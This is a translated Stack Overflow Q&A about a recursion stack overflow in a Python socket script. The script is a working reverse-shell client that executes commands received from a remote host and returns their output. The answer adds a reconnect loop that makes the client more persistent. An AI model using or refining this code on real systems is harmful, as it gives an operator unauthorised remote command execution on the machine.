【问题标题】:Can't recover from a stack overflow无法从堆栈溢出中恢复
【发布时间】:2017-04-22 23:15:14
【问题描述】:

这是我在学习 Python 时编写的一个小脚本,但由于某种原因,它告诉我它无法从堆栈溢出中恢复。当另一台服务器断开连接时会发生这种情况。

脚本:

#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

def Work():
    while True:
        data = s.recv(1024)
        print("Data : " + data.decode('utf-8'))
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode('utf-8'))
        if len(data) >0:
            cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes , "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        else:
            s.shutdown(socket.SHUT_RDWR)
            s.close()
            thread1 = threading.Thread(target = connect)
            thread1.start()
            break

connect()

【问题讨论】:

  • 你能粘贴完整的错误吗?
  • 请发布堆栈跟踪
  • 什么堆栈溢出?您是否真的将从套接字接收到的数据直接传输到 Popen 中?
  • 修正缩进。 else 与什么匹配?

标签: python sockets stack overflow


【解决方案1】:

这段代码是错误的:

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

如果由于某种原因连接失败(由于您没有过滤异常类型而被拒绝,甚至是 try/except 块中的语法错误),那么您将打印错误消息并通过递归调用 重试 你的功能。

由于套接字错误很可能再次发生,因为您在不更改任何内容的情况下立即重试相同的操作(例如启动其他程序!),您很快就会遇到堆栈溢出。

修复,第一步:让您的连接崩溃并显示正确的错误消息

def connect():
    s.connect((host,port))
    Work()

修复,第二步:如果你认为稍后可以建立连接,可以捕获异常,稍等片刻重试,例如这样:

def connect():
    while True:
        try:
            s.connect((host,port))
            break  # connection OK, proceeed to Work
        except ConnectionRefusedError as e:
            print("{}, retry in 10s ...".format(str(e)))
            time.sleep(10)
    Work()

在您的情况下,就在套接字关闭后,您创建了另一个调用 connect 的线程,但递归失败,这解释了您在断开另一端时遇到的问题。

【讨论】:

    猜你喜欢
    • 2018-11-03
    • 1970-01-01
    • 1970-01-01
    • 2019-05-18
    • 2017-04-19
    • 1970-01-01
    • 2011-05-16
    • 2014-12-15
    • 1970-01-01
    相关资源
    最近更新 更多